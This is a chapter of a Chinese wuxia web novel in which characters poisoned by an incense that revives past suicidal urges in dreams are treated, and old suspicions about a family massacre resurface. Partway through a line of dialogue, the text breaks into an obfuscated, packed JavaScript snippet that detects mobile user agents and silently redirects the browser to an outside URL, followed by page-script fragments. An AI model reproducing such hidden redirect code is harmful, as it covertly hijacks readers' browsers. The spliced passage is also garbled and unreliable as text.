罗赞也担心两位小辈,内力又充盈了许多,少了大半后顾之忧,遂从善如流地拽着人,跳入深涧,循着痕迹一路找到昏迷的秦、赵二人。 “怎么回事?”他心下一惊,上前查探,待扶起赵青山,又是一震,“阿潜?!” 43. 何须恋世常忧死 “你可记得此处?” 残垣断壁,遍生衰草,身负青铜剑、形容潦倒的青年男人低头问一旁的少女。 少女脸色苍白,嗫嚅道:“记得。” “当初我将你从这里带走……” 青年声音低沉地说着什么,少女机械地应答,眼中不时闪过恍惚之色,眼前一幕让她觉得莫名熟悉,仿佛久远的往事再次呈现在面前,使她惶惑不已。 “……倘若有一日|你步了陈花饶后尘,我会亲手杀了你。” “不会有那一天!”少女听见自己斩钉截铁道,“我将终老山林,绝不踏足江湖。” 对上男人错愕的目光,她眼神平淡:“陈花饶的女儿不该活着……” 她记得自己还应说些什么,但这句话一直在她脑海中挥之不去—— 陈花饶的女儿不该活着…… 若她还好端端活着,置那些受长乐城戕害的人于何地,如果有朝一日东窗事发,秦笃、沈家又该如何自处? 她的存在只可能带来不幸,只要她死了,一切问题都可迎刃而解…… 只要她死了…… 一股奇香悄然萦绕,少女神志浑噩昏沉,手中不知何时多了一柄匕首,抵在心口,耳边回荡着蛊惑般的低语:“刺下去,刺下去,让一切就此了结……” 那是她自己的声音,是她的死志在沸腾。 最后关头,她脑中倏然闪过一双明亮的凤眼。 少女怔怔松手,匕首悄然消失。 一转眼,她又躺在了一块坚硬的石头上,阳光穿过水面落在她身上,化作斑驳摇晃的波光——她在水底。 她及笄之时,秦笃送来一缸莲花,提醒她要“出淤泥而不染”。 之后沈家专程请人在她住处后营造了一个小湖,将莲花种了下去。 每当她心烦意乱,就会将自己沉入湖底冷静,但这次她却无论如何都冷静不下来。 观武山庄收养恶徒中山狼之遗孤,遭人寻仇,满门被灭,江湖哗然。 这让她不得不想到自己,想到白马寨…… 波光流转间,幽幽香气从水底蒸腾上来,将她层层包裹,诱|惑着她放开呼吸,永远沉溺于此。 她隔水望日,只见阳光明媚、晴好如春,是个赴死的好日子。 冰冷的水钻入鼻腔喉管,夺走她的呼吸,她仿佛旁观,又仿佛亲身经历一场真实的溺水,窒息感渐渐涌上来,神志慢慢沉下去…… “明月!”一双手伸进来,将她拉出水面。 她睁开眼睛,场景又换,一位看不清面容的人握住她的手臂,语气惊慌:“秦姑娘,沈家出事了!” …… “他们中的是无忧门的引路香,”陆曦从沈潜脉门上收回手,脸色难看道,“中此香者俱会在昏梦悄无声息地死去,无药可解。” “这!”罗赞重重捋着胡须,眉宇间满是焦躁,道,“小娃子,你没诊错?” “二师兄医术尽得师父真传,绝不可能诊错。”一旁的黄玉道。 “唉!”罗赞跺脚。 房间一角,肩上停着两只蛊蝶,脸色惨白的秦笃声音嘶哑地咳了两声,缓缓道:“引路香,引路黄泉……” 人的一生中可能许多次生出死志,但不一定付诸实际,引路香会使中香者在梦中回到求死之时,引诱他们自我了断,当梦中的他们认定自己死去,现实中的身体也会断绝生机。 “……无忧门研制此香,是为威胁东南各方势力,并非为结仇,他们,有解药。”秦笃说完,又重重嘶咳起来。 陆曦连忙大跨步上前,取过黄玉见机递过来的银针,出手如电,封住秦笃身上几处大穴,才松了一口气,道:“秦前辈,安神定志,切莫激动,以免惊醒你体内的蛊物。” 秦笃微微点头。 “既然有解药,我这便去取。”罗赞急切道。 至于如何取,自然是靠武力。 “仙客前辈!”陆曦赶紧将人拉了回来,“您内伤也不轻,先养养伤罢。” “可……” “咳咳咳!”混乱之际,其中一张榻上的人突然坐了起来。 “沈前辈!” “阿潜!” 还在拉扯的陆曦和罗赞一齐围了上去,黄玉则期待地看向另一张榻上的秦月明,却不见丝毫动静。 沈潜,也就是赵青山,醒来后便环顾四周,将目光定在对面昏迷的秦月明身上,又抬手给自己切脉,口中问道:“我们中了什么毒?” 见他动作娴熟,陆曦顿住动作,将秦笃方才的话复述一遍,有些迟疑道:“……但我诊过的中香人没有自行醒过来的,难道是我诊错了?” 罗赞见多识广,猜测道:“此香针对人之死志,若一个人从未有过求死之意,它便失了效用。” “有道理,”陆曦好奇地看向沈潜,“沈前辈,你昏迷的时候做梦了么?” 沈潜脸上闪过一抹晦暗,道:“的确梦到一些往事。” 他不愿多说,用力闭了闭眼,翻身下榻,有些不稳地走到秦月明榻前,一番望闻切后,舒张指掌,扯过一旁案几上的纸笔,笔走龙蛇写就三张药方。 陆曦积极接过,一边阅览一边眼神愈来愈亮,俨然茅塞顿开的样子:“还能如此……《香药谱》……缓解香毒确有奇效……我这就去叫人抓药!” 说罢,便快步走了出去。 他一走,房间内的气氛顿时沉寂下来,黄玉莫名尴尬地站了片刻,干脆也跑了:“我让人查查引路香的事。” 随着门扉阖上,房内只剩几位久别重逢的故人。 罗赞看了看守在秦月明榻前的沈潜,又看了看闭目养神的秦笃,总觉得有些古怪,不由心里犯嘀咕,犹豫片刻向沈潜道:“阿潜,我一直在山中修道,半月前出山才听说你的消息,具体发生了什么?” 沈潜借着查看秦月明左臂伤口包扎情况,避开他的目光,淡淡道:“说来话长,当务之急是给明月解毒,待她醒来我再与你细说。” “唉,成,你自己心里有数就行。”罗赞梳着自己长长的白胡子,转而关切道,“你身负内伤,又中了那引路香,眼下感觉如何?” 不等沈潜回答,他又絮絮念叨:“你脸色都白成什么样子了,给小明月开了药方,也给自己治治……” “师祖,”沈潜眼中浮出笑意,道,“我知道,刚才三张药方有一张就是我的。” “那就好那就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426008|133783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。”罗赞眉宇稍松,仍盯着他看个不停。 沈潜索性伸手,探上他的脉息,尔后又扯来纸笔,一边写药方一边道:“师祖你的伤势也不轻,得好好调养。” “好好好,”罗赞眉开眼笑,点头答应,接过药方后自然地示意沈潜看向墙角安静的秦笃,“小麒麟中了无忧门的暗算,身体里一堆蛊毒,你快给他看看。” “……有两只蛊王在,蛊物不敢作乱。”沈潜僵了一下,道。 罗赞并未怀疑他冷淡的态度。 沈潜十六岁那年,亲眼目睹秦笃癫症复发,伤了秦月明,之后便一直对秦笃冷面相向,诸位长辈,包括秦笃本人都习惯了。 “看在小明月的面子上。”罗赞小声劝道。 此时秦笃睁眼看了过来,唤道:“沈潜。” 沈潜抬眼,面无表情地望回去:“何事?” “你和她在地牢中的争执,我还隐约记得。”秦笃努力平和情绪,“你竟言我是沈家灭门真凶,是何道理?” 说到最后,他到底按捺不住,高了声调,下一刻便又忍不住嘶声咳嗽起来。 罗赞在一旁满脸震惊。 沈潜冷眼看了他几息,终究上前调整他身上的银针,止住了他的咳意。 “不是……这,阿潜,你怎么会生出这样的误会?”罗赞大急。 “我亲自查得证据……”沈潜说道,不由自主回忆起中香昏迷后的那个噩梦: 十一年前,当了两年废人的他终于恢复了大半行动能力,本欲回到白马寨,却从救命恩人——还不是惠亲王的十皇子陈烨处得知灭门案真凶的线索,一路追查下去,最终查到了秦笃与秦月明身上。 他当然怀疑过,多方求证后却不得不死心,当他在渝州官衙的证物房中找到自己亲手为秦月明雕刻的玉簪时,此生第一次,也是唯一一次想到了死。 他才勉强接受双亲逝世的噩耗,正是心神摇动之际,一想到要与秦月明兵戈相向,更是心如刀绞,不由自主生出退缩之念:不若随父母一起去了,好过面对如此诛心的真相。 但他终究心志坚韧不同凡响,很快便挣脱了这样软弱的念头,重燃仇恨的火焰—— 也就此从香毒中挣脱了出来。 沈潜闭了闭眼,收回思绪,将各色人证物证细细说出:阮家村村长的供状、棠棣玉佩、两个副寨主下仆的证词、死于斩鲸剑的官衙仵作、伪造的副寨主信件…… “……我想听听,你要如何辩解?”最后,他冷若寒霜道。 地牢之中,癫狂状态的秦笃虽神志不清、语焉不详,却在秦月明询问他是否沈家灭门案真凶时坚决否认,且似一心挂念为沈家复仇之事。 在秦月明的劝说下,沈潜按下心头仇恨,意识到灭门案中还有内幕,才会在之后帮秦月明救出秦笃,也在此时留给秦笃申辩的机会。 “绝无此事!”秦笃断然喝道,不顾经脉中加重的刺痛,目光中满是怒火,“兄嫂于我恩深义重,秦某纵然自绝于世,也绝不可能谋害他们一分一毫!” 他鼻腔中满是血腥气,口中也溢出鲜血,即使咳嗽得撕心裂肺,仍一字一顿,清晰地说道:“沈家灭门的幕后元凶,乃当今天子——陈曜!”